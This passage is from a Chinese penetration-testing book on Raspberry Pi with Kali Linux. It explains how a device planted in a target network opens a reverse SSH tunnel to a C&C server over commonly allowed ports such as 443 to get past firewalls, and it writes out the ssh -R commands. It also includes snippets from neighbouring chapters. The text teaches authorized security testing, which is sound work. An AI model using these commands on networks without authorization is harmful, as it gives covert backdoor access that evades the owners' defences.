《树莓派渗透测试实战》——2.9 通过SSH做反向Shell

2.9 通过SSH做反向Shell

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统;然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。

在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。

许多入侵检测和拦截系统都会检查出SSH类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,SSH流量和常规的HTTPS也还是会有差异。

使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向SSH连接。在设置的场景里,C&C服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -R [绑定的地址:]远程端口:本地主机:本地端口[6]。

R开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口,也就是客户端通常可以自由地连接外网这些端口。

某些严格限制外连的协议检测设备,如下一代防火墙、下一代IPS(入侵检测系统)和高级代理服务器可能会阻断这些连接。

本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是SSH服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口,它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里,输入以下命令:

ssh -fN -R 7000:localhost:22  C&C服务器端用户名@C&C服务器IP地址
ssh -fN -R 7000:localhost:22  root@192.168.162.133

上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用,那就再换一个。如图2-20所示,大多数机构都允许外连到443端口。

所以根据图2-20的情况再换一个外连端口试试,在树莓派上执行如下命令:

ssh -fN -R 443:localhost:22 root@192.168.162.133

在C&C服务器端,打开命令行终端,输入以下命令:

ssh root@localhost -p 443

根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后,命令行提示符变了。我们实际上已经登录到远程的树莓派上,可以完全控制它了,关系如图2-21所示。

要确保已安装OpenSSH服务并处于运行状态,否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数,确保树莓派默认重启后会启动SSH,这点很重要。

这项技术叫反向shell tunneling(命令行通道)。可以选择任意源端口,如53端口,这通常是DNS服务的端口;或者80,这通常是HTTP服务的端口。但请记住,修改端口号并不意味着底层对应的协议也跟着变了。

时间: 2024-07-30 19:19:36

《树莓派渗透测试实战》——2.9 通过SSH做反向Shell的相关文章

《树莓派渗透测试实战》——第2章 树莓派预备步骤

第2章 树莓派预备步骤 树莓派渗透测试实战在用于安全评估时,树莓派的运算能力有限.因为它的设计初衷仅是1台低功耗的便携计算机,目标人群是教育界和计算机爱好者们.这个开放平台的运算能力虽然有限,但它也有很多强大的使用场景,比如安全专业人士可以将它用于渗透测试和其他服务.本章的重点是使用Kali Linux(或其他操作系统)的树莓派,还需要再做哪些步骤,才能开始实施渗透测试. 本章讲解了以下内容: 树莓派使用场景:C&C服务器(主控服务器,Command & Control Server):渗

《树莓派渗透测试实战》——第2章 树莓派预备步骤 2.1 树莓派的使用场景

第2章 树莓派预备步骤 在用于安全评估时,树莓派的运算能力有限.因为它的设计初衷仅是1台低功耗的便携计算机,目标人群是教育界和计算机爱好者们.这个开放平台的运算能力虽然有限,但它也有很多强大的使用场景,比如安全专业人士可以将它用于渗透测试和其他服务.本章的重点是使用Kali Linux(或其他操作系统)的树莓派,还需要再做哪些步骤,才能开始实施渗透测试. 本章讲解了以下内容: 树莓派使用场景: C&C服务器(主控服务器,Command & Control Server): 渗透测试需要做哪

《树莓派渗透测试实战》——第1章 树莓派和Kali Linux基础知识

第1章 树莓派和Kali Linux基础知识 树莓派渗透测试实战Kali Linux的用户包括全球各地的安全专家.黑客们和研究者,是最受欢迎的渗透测试平台之一,主要用于安全和漏洞评估.攻击研究和风险测试.Kali Linux包含众多流行的开源工具,适用于渗透测试的方方面面.Kali Linux的前身是BackTrack 5 R3,然后逐渐进化到一套完整的Linux桌面系统. 树莓派电脑以超低价著称,它使用HDMI(高清晰度多媒体接口,High Definition Multimedia Inte

《树莓派渗透测试实战》——导读

前 言 本书的主要内容是通过综合Kali Linux的强大威力和树莓派便携又廉价的特点,两者强强联手,在不需要大运算量的项目里,构造一套异常灵活的渗透测试平台.我们已经把这套软硬件组合运用于远程渗透和漏洞测试.由于树莓派非常便携,可以方便地在不同位置进行安全测试评估,还可以通过配置,既能远程控制树莓派,又不会留下什么痕迹.此外,树莓派不落痕迹的特点,加上其低功耗的特色,使得在搭配外置USB电源后,能在户外的环境里工作1-2天.对渗透测试人员来说,在树莓派平台上使用Kali Linux实现安全测试

《树莓派渗透测试实战》——1.7 树莓派渗透测试场景

1.7 树莓派渗透测试场景 有些使用场景非常适合树莓派的"酷"特征.首先它能在难以亲身前往的位置里提供低成本的远程渗透测试节点.例如,要为远在中国.英国和澳大利亚的分支机构提供渗透测试服务,彼此间带宽也比较受限.使用树莓派就可以不用真的出差到每个地方,只需要向客户收取树莓派的价钱,然后给每个地方寄一个树莓派过去.只要当地有人帮助将树莓派接入网络,就可以执行远程渗透测试了,这样能极大地节省差旅和硬件的开销.大多数情况测试完后,客户只要把树莓派下线,放在一边就行,反正也很便宜.用这个方法,

《树莓派渗透测试实战》——2.7 设置SSH服务

2.7 设置SSH服务 Secure Shell(SSH)可以做到身处远程,也能完整地操作树莓派上的Kali Linux.命令行是管理Linux的最常用方式.由于大部分的渗透测试并不需要用到图形界面的Kali Linux,建议尽量使用SSH或其他命令行工具.部分Kali Linux默认就启用了SSH服务,但有部分还需要手工安装OpenSSH服务. 首先需要确认SSH服务是否已经安装.输入以下命令service --status- all检查SSH服务是否在运行.如果像图2-14所示的那样看到ss

《树莓派渗透测试实战》——2.8 SSH默认私钥和管理

2.8 SSH默认私钥和管理 此时树莓派就可以通过SSH做远程管理了,这挺不错的.但是,如果有另一套也是默认安装出来的OpenSSH,就非常容易获得对应的私钥.修改私钥这一步是可选步骤,但最好改掉.毕竟,如果自己的渗透测试机器反而被人黑了,还是会感到颜面扫地的. 下面就是Kali Linux系统创建新的SSH私钥的过程. 确保是直接用键盘在Console控制台下执行以下步骤的.不要在现有SSH会话里执行这些步骤. 1.在终端或命令行里,将默认的SSH私钥文件移到备份目录. cd /etc/ssh

《树莓派渗透测试实战》——2.12 用例子总结以上步骤

2.12 用例子总结以上步骤 回到本章开头的那个例子,复习一下在真实世界里是怎样运用本章的内容.回顾以下场景,我们的客户在全球不同地点都有办公地址,需要对每个地方进行渗透测试,但报价要适宜.为达成这个挑战,需要给每个地点组装好一套运行Kali Linux的树莓派,价值在100美金以内.我们给每个办公地点寄一套树莓派过去,由当地的人将树莓派接入本地网络.连接的方式和用到的工具会在下一章里讲到. 各地办公场所的人并不清楚我们要做什么,因此需要自己想办法突破已有的安全机制,如禁止外连的防火墙.要做到这

《树莓派渗透测试实战》——总结

总结 在本章中,我们学习了在渗透测试环境里,如何在树莓派上定制和运行Kali Linux.内容还包括性能调优,以及如何尽量使用命令行方式,少用GUI图形工具的最佳实践. 本章还花了比较大的篇幅介绍如何设置处于远程的C&C服务器,以减轻树莓派上处理的任务和导出树莓派上的数据(第3章会介绍如何导出数据).这部分涉及如何在树莓派和C&C服务器之间建立通信.连接的方式包括SSH.HTTPS和其他形式的通道.另外还讨论了当树莓派位于防火墙后面时,如何通过反向shell通道连回C&C服务器,进